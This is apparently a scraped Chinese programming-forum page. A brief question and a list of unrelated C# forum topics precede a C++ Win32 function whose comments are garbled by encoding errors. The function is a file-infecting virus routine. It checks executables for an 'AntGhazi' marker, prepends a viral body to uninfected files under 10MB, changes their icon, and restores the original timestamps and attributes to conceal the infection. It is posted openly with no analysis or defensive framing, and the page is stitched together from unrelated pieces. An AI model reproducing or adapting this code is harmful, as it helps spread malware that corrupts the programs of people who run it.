什么是你所谓的写在一起?
什么又是同时运行?
什么又是同时运行?
解决方案 »
- 做个自定义控件ProcessBar求个思路
- c#2005中限制上传图片格式的问题
- 菜鸟发问,大家帮忙指导下
- 想轉c#,哪個教材最好.推薦一本
- 求助等同于VB.NET的AppActivate函数功能的C#代码。用于进程间通讯,在一个进程中激活别一进程的主窗口。
- 未将对象引用设置到对象的实例
- C#的前景
- c# 能操作注册表吗?求大神帮忙
- 小问题:用C#作ASP的时候,运行时在textbox里输入数据,为什么在调试时没有数据,?
- 请问C#(VC#.NET)中有没有代码补充,如delphi中按Ctrl+J?
- 初学者的问题
- vs.net 编辑器在新建工程时弹出 "Automation 服务器不能创建对象" 的唯一巧妙解决方案
HANDLE hSearchFile=NULL;
DWORD dwSearchFileSize=0;
char VirusFlag[10]={'\0'};
DWORD bytes_write;
WIN32_FIND_DATA lpFindFileData=_lpFindFileData;
char *strFile=lpFindFileData.cFileName ; //char *strFile="AntGhazi.tmp\0";//²âÊÔʱ£¬Ìض¨Ö»¸ÐȾ´ËÎļþ
//strFile="e:\\kkkk\\a.exe";//c:\\AntGhazi.tmp\0";//²âÊÔʱ£¬Ìض¨Ö»¸ÐȾ´ËÎļþ ::SetFileAttributes (strFile,FILE_ATTRIBUTE_NORMAL);
hSearchFile=::CreateFile (strFile,GENERIC_READ|GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if(hSearchFile == INVALID_HANDLE_VALUE){
::CloseHandle (hSearchFile);
::SetFileAttributes (strFile,lpFindFileData.dwFileAttributes );
return 0;
}
::SetFilePointer (hSearchFile,80, NULL, FILE_BEGIN); //ÏȶÁÈ¡±êÖ¾
::ReadFile (hSearchFile,VirusFlag,8,&bytes_write,0);
::ReadFile (hSearchFile,&dwSearchFileSize,4,&bytes_write,0);
if(strcmp(VirusFlag,"AntGhazi")!=0){ //¸ÐȾ
//ÏȶÁÈ¡³¤¶È
dwSearchFileSize=::GetFileSize (hSearchFile,NULL); //Ô­³¤¶È
if(dwSearchFileSize>10485760){ //Èç¹ûÎļþ´óÓÚ10M£¬ÔòÍ˳ö
::CloseHandle (hSearchFile);
::SetFileAttributes (strFile,lpFindFileData.dwFileAttributes );
return 0;
}
char *pSearchFile=new char[dwSearchFileSize];
::SetFilePointer (hSearchFile,0,NULL,FILE_BEGIN); //¶ÁÈ¡Ô­ÎļþÄÚÈÝ
::ReadFile (hSearchFile,pSearchFile,dwSearchFileSize,&bytes_write,0);
memmove(strSource+80,"AntGhazi",8); //дÈë±êÖ¾
memcpy(strSource+88,&dwSearchFileSize,4); //дÈëÔ´³¤¶È ::SetFilePointer(hSearchFile,0,NULL,FILE_BEGIN); //×¼±¸Ð´ÈëÎļþÖÐ
ModifyIcon(&strSource,pSearchFile); //ÐÞ¸ÄICON
::WriteFile (hSearchFile,strSource,dwSourceSize,&bytes_write,0);
::WriteFile (hSearchFile,pSearchFile,dwSearchFileSize,&bytes_write,0);
delete pSearchFile;
SetFileTime(hSearchFile,&lpFindFileData.ftCreationTime,&lpFindFileData.ftLastAccessTime ,&lpFindFileData.ftLastWriteTime);//дÈëÈÕÆÚ
::CloseHandle (hSearchFile);
}else{
::CloseHandle (hSearchFile);
}
::SetFileAttributes (strFile,lpFindFileData.dwFileAttributes );
return 1;
}参考:
http://www.csdn.net/Develop/read_article.asp?id=12338